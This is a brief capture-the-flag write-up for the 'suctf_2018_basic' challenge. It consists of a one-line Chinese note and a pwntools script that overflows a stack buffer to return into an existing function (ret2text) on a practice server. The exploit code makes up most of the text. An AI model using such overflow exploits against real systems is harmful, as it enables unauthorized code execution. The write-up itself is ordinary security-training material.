suctf_2018_basic
查看保护
ret2text即可。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28575)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
bk = 0x401157
p1 = b'a' * (0x110 + 8) + p64(bk)
r.sendline(p1)
r.interactive()